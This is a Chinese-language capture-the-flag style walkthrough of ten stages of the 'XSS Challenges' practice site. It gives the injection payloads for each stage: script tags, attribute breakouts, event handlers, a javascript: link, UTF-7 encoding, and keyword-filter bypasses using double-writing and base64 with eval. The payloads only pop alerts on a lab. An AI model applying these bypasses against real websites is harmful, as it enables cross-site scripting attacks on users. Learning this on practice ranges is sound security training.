审核大大，这是一篇靶场通关教程学习分享，谢谢。

11.XSS Challenges通关教程

Stage#1

直接在search 输入框中输入payload：

<script>alert(document.domain)</script>

点击search就XSS攻击成功了。

Stage #2

尝试直接输入<script>alert(document.domain)</script>，发现并未完成通关，查看Hint提示，需要：close the current tag and add SCRIPT tag...。

然后右键查看网页源码，发现可以闭合输入框的HTML标签：value="">。

Search输入框输入payload：

"><script>alert(document.domain)</script><"

点击搜索，正确通关。

Stage #3

尝试了一下前两关的注入方式，发现都没有反应，然后看了一下Hint提示，说搜索框已经正确做了转移，然后看了一下页面源码，确实是进行了转移处理。

那这个输入框就没有办法进行注入了，看网页源码，发现这是一个post请求，并且后边的Choose a country没有做处理，那这里就是攻击点了，页面上没有办法操作。

构造post数据包

p1=1&p2=<script>alert(document.domain)</script>

burp改包

成功通关

Stage #4

burp抓包发现参数p3

在源代码中查找hackme

类似stage2，构造payload：

p1=123&p2=Japan&p3="><script>alert(document.domain)</script><

成功通关

Stage #5

审查源码，发现与stage2相仿，但是有个maxlenth限制长度，因为是js，就直接修改maxlenth为50

然后输入

"><script>alert(document.domain)</script><

成功通关

Stage #6

与stage2相仿，构造payload：

"><script>alert(document.domain)</script><

发现<>符号被HTML特殊字符代替，说明输入内容被HTML实体编码

不过双引号可用，构造payload

" onmouseover="alert(document.domain)">

当鼠标再次移动到搜索框就会触发弹窗

Stage #7

构造payload：

"><script>alert(document.domain)</script><

发现过滤了双引号

构造payload：

s onmouseover=alert(document.domain)

当鼠标移动到搜索框就会触发弹窗

Stage #8

构造payload：

<script>alert(document.domain)</script>

发现出现在一个<a>标签里

制作成一个链接使其弹出一个窗口，那么只需要在标签中添加一个JavaScript伪链接即可

javascript:alert(document.domain);

点击JavaScript伪链接即可弹窗

Stage #9

构造payload：

<script>alert(document.domain)</script>

发现一个隐藏参数euc-jp，查了下发现是日本编码

需要使用 IE7浏览器，将payload构造为 UTF-7编码

p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

控制台直接绕过

成功通关

Stage #10

构造payload：

<script>alert(document.domain)</script>

发现domain被过滤了

方法一双写绕过

"><script>alert(document.dodomainmain)</script><

成功通关

方法二：

"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

把document.domdomainain);进行Base64转码，再运用atob方法回复成原字符串，再通过eval函数，执行document.domdomainain);，就可以达到效果了

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：儒道易行 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

博客:

https://rdyx0.github.io/

先知社区：

https://xz.aliyun.com/u/37846

SecIN:

https://www.sec-in.com/author/3097

CSDN:

https://blog.csdn.net/weixin_48899364?type=blog

公众号：

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf：

https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85